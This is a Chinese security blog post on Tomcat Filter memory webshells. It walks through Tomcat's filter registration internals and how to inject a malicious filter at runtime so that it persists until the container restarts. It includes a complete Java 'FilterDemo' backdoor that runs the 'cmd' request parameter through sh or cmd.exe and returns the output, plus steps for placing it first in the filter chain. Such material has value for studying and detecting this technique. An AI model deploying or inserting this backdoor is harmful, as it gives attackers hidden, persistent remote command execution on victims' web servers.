1. 何谓内存马?

以Tomcat为例,内存马主要利用了Tomcat的部分组件会在内存中长期驻留的特性,只要将我们的恶意组件注入其中,就可以一直生效,直到容器重启。

Java内存shell有很多种,大致分为:

1. 动态注册filter

2. 动态注册servlet

3. 动态注册listener

4. 基于Java agent拦截修改关键类字节码实现内存shell

该文主要研究Filter内存马的原理和实现。

2. Filter注册流程

假设有一个需要注册的filter类——FilterDemo:

其中在web.xml 配置好该filter的映射和作用范围:

也可以通过 @WebFilter 修饰:

filter实现分为静态和动态,静态就是上述中,普通配置在web.xml或者通过@注释配置在类中的;动态下面会说到。无论静态还是动态的,都是通过解析StandardContext中的缓存构造ApplicationFilterConfig,进而生成当前应用请求链路的ApplicationFilterChain,并根据filter的顺序,一个filter一个filter的执行的。

2.1 请求过滤需要的Filter接口

Debug filterChain.doFilter() 方法,启动服务,然后访问主页即可调试:

跟进之,可以看到 doFilter() 的具体处理过程是在 internalDoFilter() 中:

注意,Filter 链中的各个 Filter 的拦截顺序与它们在 web.xml 文件中的映射顺序一致。

总的来说,上一个 Filter.doFilter() 方法中调用 FilterChain.doFilter() 方法将调用下一个 Filter.doFilter() 方法;最后一个 Filter.doFilter() 方法中调用的 FilterChain.doFilter() 方法将调用目标 Servlet.service() 方法。

只要 Filter 链中任意一个 Filter 没有调用 FilterChain.doFilter() 方法,则目标 Servlet.service() 方法都不会被执行。

2.2 应用启动需要的接口

主要有三个类:

1. ApplicationFilterConfig

2. FilterDef

3. FilterMap

2.3 启动前的加载过程

主要涉及到三个类:

1. ServletContext

2. ApplicationContext

3. StandardContext

值得一提的是,在Servlet3.0版本以后,servlet和filter,甚至Listener都可以进行动态的创建,具体可以在ServletContext接口中可以简单看到:

ServletContext 接口中声明 添加filter接口 用来将filter添加到应用上下文。

ApplicationContext 类是 ServletContext 的实现类,实现了 ServletContext 中的 addFilter 方法,用于向属性中的StandandContext实例添加filterDef:

StandandContext类中filter关键的3个属性和2个方法:

1. filterMaps

2. filterDefs

3. filterConfigs

4. addFilterDef(填充filterDef对象)

5. filterStart(根据filterDefs初始化 filterConfigs )

查找 FilterDef:

添加FilterDef:

filterStart()中先清空了 filterConfigs的状态:

然后会将新的filterConfig添加到filterConfigs中:

类ApplicationFilterConfig是依赖FilterDef生成的,所以也可以等价理解为:根据 FilterDefs来初始化 filterConfigs

2.4 请求到达时的处理流程

处理请求时,到达 StandardWrapperValve 类的 invoke 函数中:

重点在于创建了filterChain来处理匹配到的filter请求,这里每个请求都会创建一个 filterChain,并不是所有请求共用的一个:

请求处理完成后 要释放掉filterChain:

具体看看 filterChain 实例是怎么创建的:

ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

查看当前是否存在 filterChain,有则复用;无则new一个。然后初始化配置:

然后从 context 上下文中获取到 FilterMaps:

接下来做两点操作:

1)从filterMap中寻找匹配路径的filter添加到链中:

2.)从filterMap中寻找filter的servlet名添加到链中:

总的来说,从StandandContext中获取filterMap;再从filterMap中找到和request对象能匹配到的filter-name;最后从StandandContext中通过filter-name找到filter-config实例。

最后通过 StandardWrapperValve#filterChain.doFilter() 来获取filter执行:

3. 注册流程总结

  1. context启动时,调用ServletContainerInitializers添加filter,调用AbstractFilterRegistrationBean类的addRegistration方法向context添加filter
  2. context中不存在FilterDef则创建对应FilterDef
  3. AbstractFilterRegistrationBean中configure方法添加匹配filter的uri,默认为/*
  4. context启动时,调用filterStart方法配置初始化ApplicationFilterConfig
  5. 调用filter的init方法
  6. 对每次到达的请求在StandardWrapperVavel的invoke方法中创建过滤器链
  7. 根据名称获得ApplicationFilterConfig添加到过滤器链,通过ApplicationFilterConfig来获取filter执行

(by 宽字节安全)

4. 实现

简单以小马为例:

4.1 编写Filter恶意类

public class FilterDemo implements Filter {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {System.out.println("Filter初始化");}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {System.out.println("进行过滤操作");HttpServletRequest req = (HttpServletRequest) servletRequest;if (req.getParameter("cmd") != null) {boolean isLinux = true;String osTyp = System.getProperty("os.name");if (osTyp != null && osTyp.toLowerCase().contains("win")) {isLinux = false;}String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();Scanner s = new Scanner(in).useDelimiter("\\a");String output = s.hasNext() ? s.next() : "";servletResponse.getWriter().write(output);servletResponse.getWriter().flush();return;}/** -->放行<--* Filter 链中的各个 Filter 的拦截顺序与它们在 web.xml 文件中的映射顺序一致,* 上一个 Filter.doFilter() 方法中调用 FilterChain.doFilter() 方法将调用下一个 Filter.doFilter() 方法* 最后一个 Filter.doFilter() 方法中调用的 FilterChain.doFilter() 方法将调用目标 Servlet.service() 方法* 只要 Filter 链中任意一个 Filter 没有调用 FilterChain.doFilter() 方法,则目标 Servlet.service() 方法都不会被执行*/filterChain.doFilter(servletRequest, servletResponse);}@Overridepublic void destroy() {System.out.println("销毁操作");}}

4.2 获取StandardContext

这个老生常谈了,这里放一个获取StandardContext的方法:

4.3 添加FilterDef

有了恶意类FilterDemo和StandardContext后,参照tomcat源代码来实现注册自定义filter的操作。FilterDef就相当于web.xml中的filter:

Tomcat 在 org.apache.catalina.core.ApplicationContextFacade 当中实现了 ServletContext 中的 addFilter 和 addServlet ,这里我们分别看看,这里主要看 addFilter 的实现:

跟进this.context.addFilter函数,发现addFilter的实现实际是在 ApplicationContext#addFilter 当中;当然,也可以动态调试——搞清楚在什么时候 addFilter (添加Filter),就在 ApplicationContext#addFilter 中下断点,然后Debug启动tomcat8服务:

在addFilter中,代码的作用实际就是新建一个 filterDef 然后调用this.context.addFilterDef(filterDef); 进行添加了而已。此外,我们有了StandardContext,完全可以自行进行添加:

4.4 添加FilterMap

FilterMap用于保存filter名称与url的映射,就相当于web.xml中的filter-mapping:

我们知道,tomcat的filter的创建是在StandardWrapperValve#invoke() 函数中完成的:

通过 createFilterChain 创建一个ApplicationFilterChain:

在 createFilterChain() 中会将匹配到的filter加入filterChain:

注意这里进行if匹配的时候,DispatcherType类型是 REQUEST:

由于我们上面构造好了 FilterDef,接下来直接构造一个FilterMap,再加入 filterChain就好了:(其中urlPattern自行定义好,只有匹配到才会进行filter处理,可以类似理解为一个webshell后门密码的操作)

这里为啥要用 addFilterMapBefore() 而不用 addFilterMap() 呢?

从之前的 createFilterChain() 中添加Filter可以看出是按从头到尾的顺序来添加的:

所以 addFilterMapBefore() 的作用是将当前创建的 filterMap 添加到 filter链的第一位去。

4.5 添加到 filterConfigs

跟进到最开始的StandardContext#filterStart 方法可以看到,遍历了 filterDefs 当中 filterName :

然后把对应的 name 添加到 filterConfigs 当中:

值得注意的是,源代码中是通过 ApplicationFilterConfig (Context context, FilterDef filterDef) 的构造器来获取到filterConfig的:

说明这个类是依赖FilterDef生成的。

同时,继承自 FilterConfig,那么在jsp中,我们可以通过反射 ApplicationFilterConfig的构造器来获取到 filterConfig 对象,然后添加到 filterConfigs 中:

为了适配其他tomcat环境,这里通过反射来获取 filterConfigs:

或者直接刷新 filterConfigs,自动将filterConfig 添加到 filterConfigs 中:

4.6 效果

原始:

访问生成内存马的jsp:

访问内存马:

Filter内存马浅析相关推荐

  1. [Java安全]—Tomcat Filter内存马

    文章首发于Secin:Filter内存马及工具检测 文章目录 原理 Filter注册流程 Filter内存马注入 内存马检测工具 原理 Servlet 有自己的过滤器filter,可以通过自定义的过滤 ...

  2. 【Web安全】JSP内存马研究

    前言 最近在研究webshell免杀的问题,到了内存马免杀部分发现传统的Filter或者Servlet查杀手段比较多,不太容易实现免杀,比如有些工具会将所有注册的Servlet和Filter拿出来,排 ...

  3. 深入浅出内存马(一)

    深入浅出内存马(一) 0x01 简述 0x0101 Webshell技术历程 在Web安全领域,Webshell一直是一个非常重要且热门的话题.在目前传统安全领域,Webshell根据功能的不同分为三 ...

  4. Java内存马简单实现

    文章目录 Tomcat内存马 JavaWeb 基本流程 Listener型内存马 恶意Listener监听器 动态注册Listener流程 构造Listener内存马 编写恶意Listener监听器 ...

  5. java内存马学习与理解

    文章目录 1. 前置知识 1.1 java web 核心组件 listener filter filter的生命周期 filter链 servlet 2. tomcat 2.1 核心组件 1. con ...

  6. java内存马分析集合

    基于tomcat Servlet内存马 web.xml <?xml version="1.0" encoding="UTF-8"?> <web ...

  7. 【网络安全】Agent内存马的自动分析与查杀

    前言 出发点是Java Agent内存马的自动分析与查杀,实际上其他内存马都可以通过这种方式查杀 本文主要的难点主要是以下三个,我会在文中逐个解答 如何dump出JVM中真正的当前的字节码 如何解决由 ...

  8. 从一个被Tomcat拒绝的漏洞到特殊内存马

    介绍 今天研究内存马相关的东西,偶然间发现一处解析BUG 一句话来说就是:Tomcat启动时会加载lib下的依赖jar,如果黑客通过上传漏洞或者反序列化漏洞在这个目录添加一个jar,重启后,某些情况下 ...

  9. Servlet内存马

    1. 何谓内存马? 以Tomcat为例,内存马主要利用了Tomcat的部分组件会在内存中长期驻留的特性,只要将我们的恶意组件注入其中,就可以一直生效,直到容器重启. Java内存shell有很多种,大 ...

最新文章

  1. 在本机用Toad远程连接Oracle数据库
  2. uni-app 使用vue的语法+小程序的标签和API。
  3. python中mainloop什么意思_很难理解python中的Tkinter mainloop()
  4. ols残差_python数据关系型图表散点图系列残差分析图
  5. html中显示数据库中的一条数据,如何使用html表显示数据库中的数据
  6. 优秀!结构最清晰的Yolov3 head和loss实现完全解析
  7. 站立会议中发现的一些新问题
  8. cocos2d-x学习知识点记录
  9. MongoDB聚合—计数count
  10. UnityShader15:前向渲染
  11. 开课吧:大数据时代,数据分析的特点是什么?
  12. Web API 处理机制剖析 --- 拨开迷雾看本质
  13. 如何在OTN网站下载Grid方法(Oracle RAC)
  14. c语言vs2010中F10使用方法,VS2010快捷键及设置
  15. 关于Win10系统下VIA HD AUDIO威盛声卡没声音问题 - 有效解决办法
  16. CP2102 USB转串口驱动下载
  17. 程序员全职接单一个月的感触
  18. 日积一步3(求解点到平面二次曲线的最近距离)
  19. Java-斗地主游戏(部分功能)
  20. Java之初步识别网络编程:IP、端口号、TCP/UDP、Socket、URL等

热门文章

  1. VB基础版版务处理_20050827
  2. php5.6.36 xdebug,php配置xdebug | Soo Smart!
  3. UG\NX二次开发 获取边类型 UF_MODL_ask_edge_type
  4. 回填用土好还是砂石料好_砂石土的一般配比
  5. 数据库测试的重要性——永远不要忘记数据库测试
  6. PostgreSQL 常用命令 总结 ||数据库导入导出
  7. 易语言- 定义一个系统范围的热键 RegisterHotKey UnregisterHotKey
  8. make menuconfig问题
  9. 计算机网络:02---数据与信号。频率、比特率、波特率、信噪比、衰减
  10. 飞行机器人(三)DJI平台OSDK ROS 编译及使用